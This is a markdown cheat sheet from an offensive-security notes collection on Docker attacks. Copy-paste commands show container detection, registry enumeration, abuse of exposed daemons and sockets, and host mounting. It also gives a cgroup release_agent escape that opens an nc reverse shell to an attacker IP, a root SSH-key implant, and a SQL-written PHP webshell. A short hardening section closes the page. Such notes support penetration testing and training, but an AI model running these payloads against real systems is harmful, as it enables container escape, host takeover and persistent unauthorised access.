killchain-compendium/Exploits/Containers/Docker.md

8.4 KiB

Docker Vulnerabilities

Check if you are inside a container

  • Low process count
ps aux
  • .dockerenv in /
cd / && ls -lah
  • cgroups contain docker names
pwd /proc/1
cat cgroups

Abusing Registry

  • Registry Doc
  • Registry is a json API endpoint
  • Private registry added in /etc/docker/daemon.json
  • Can be found by nmap as a service

Enumerate the Registry through DockerRegistryGrabber.

Enumeration

  • General query
curl http://test.com:5000/v2/_catalog`
  • List tags
curl http://example.com:5000/v2/<REPOSITORY>/<APP>/tags/list
curl http://example.com:5000/v2/<REPOSITORY>/tags/list

history section of the json object contains commands executed at build phase. May contain sensitive data like passwords.

curl http://test.com:5000/v2/<REPO>/<APP>/manifests/<TAG>

Download Images from the Remote Repository

Remote repositories might need to be added to the insecure registries before you are able to pull from them

echo '{"insecure-registries": ["insecure-registry.com:5000"]}' >> /etc/docker/daemon.json

Restart the docker service afterwards and take a look at the insecure registries via

docker info

Download an image via

docker pull insecure-registry:5000/repository-name/image-name

Remote Docker Daemon

Users inside the docker group may open tcp socket through docker In case you find an exposed docker daemon it can be used in the following way

docker -H tcp://$TARGET_IP:2375 ps
docker -H tcp://$TARGET_IP:2375 images
docker -H tcp://test.com:2375 exec <container> <cmd>
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh

Check out root please

Escape Container via Exposed Docker Daemon

Look out for exposed docker sockets

find / -name "*sock" 2>/dev/null
groups

Mount the host volume and chroot to it. Ideally, use an image that is installed already, e.g. alpine here.

docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

or

docker run -v /:/host --rm -it <imageID> chroot /host/ bash

Shared Namespaces

Requires root inside the container

nsenter --target 1 --mount sh
nsenter --target 1 --mount --uts --ipc --net /bin/bash

Misconfiguration

Capabilities

Privileged container connect to the host directly, not through the docker engine. Execution of binaries on the host from inside the container is possible.

capsh --print

Exploit and get a reverse shell to the host via

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Caveat: The file may appear outside the container on some host systems. Have to investigate...

cap_admin

cap_sys_admin provides the ability to spawn a root shell inside the container

capsh --gid=0 --uid=0 --

Further, if there is access to the host this capability can be used to set chmod u+s /bin/bash and list the available mounts. The mounts can be listed findmnt. Resulting in a useable root bash on the host via executing it on the path of the docker volume, e.g.

/var/lib/docker/overlay2/l/randomhash/bin/bash -p

Check fdisk

fdisk -l and lsblk, host bulk device may be exposed Mount the device

mkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev
  • Check /dev as well !!! and mount device

Creating a Container from inside another container

  • Needs root inside a container
  • Upload static curl
  • Check available images and containers
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
  • Inside the container as root
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
  • Return value is the ID
  • Start a container
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
  • Login in to the host via ssh remotely or socat locally
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

Reversing Docker Images

dive <IMAGE-ID>

Uploading Images to Registry

  • Ever image has a latest tag
  • Upload modified docker image as latest
  • Article

Escape through DB

  • Login into DB
  • Create table
  • Inject PHP code
  • Select table content into a file the user can read
  • Execute the file
create table h4x0r (pwn varchar(1024));
insert into h4x0r (pwn) values ('<?php $cmd=$_GET["cmd"];system($cmd);?>');
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r INTO OUTFILE '/var/www/html/shell.php';
copy (select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL

curl the webshell hon the exploited host

curl <host-IP>/shell.php?cmd=id

Dirty c0w

DirtyC0w

runC

CVE-2019-5736

Securing a Container

  • Use Grype or CIS Benchmark for Vulnerability Checks
grype $IMAGE_NAME --scope all-layers
grype ./image.tar

Cgroups

Take a look at the cgroups of a container

docker inspect $CONTAINER_ID

Update cgroups of a container via

docker update --cpus="4" --memory="512m"

Remove Capabilities

The count of capabilities should be minimized on every container. It should only contain the necessary caps.

docker run -it --rm --cap-drop=ALL --cap-add=$NECESSARY_CAPS $CONTAINER_NAME

Check the capabilities via

capsh --print

SSH context

Create a profile to use a remote Docker daemon through SSH

docker context create --docker host=ssh://$USER@$TARGET_IP --description "Attack" attack-host
docker context use attack-host
docker context use default

Enable TLS

Start a Docker daemon using TLS

dockerd --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=0.0.0.0:2376

Connect to a TLS enabled Docker Daemon

docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=$DOCKER_SERVER:2376 info

Seccomp

The seccomp() system call operates on the Secure Computing (seccomp) state of the calling process.

In strict mode it is described as follows

The only system calls that the calling thread is permitted to make are read(2), write(2), _exit(2) (but not exit_group(2)), and sigreturn(2).

Seccomp can also be configured to support other systemcalls. The configuration is done via JSON

docker run --rm -it --security-opt seccomp=./profile.json $CONTAINER_NAME

Apparmor

Mandatory Acces Control measurement to limit permissions of execution and on resources. See the status of Apparmor via

aa-status

Create a profile and import it via

apparmor_parser -r -W ./profile.json

Apply the configuration to the container via

docker run --rm -it --security-opt apparmor=./profile.json

References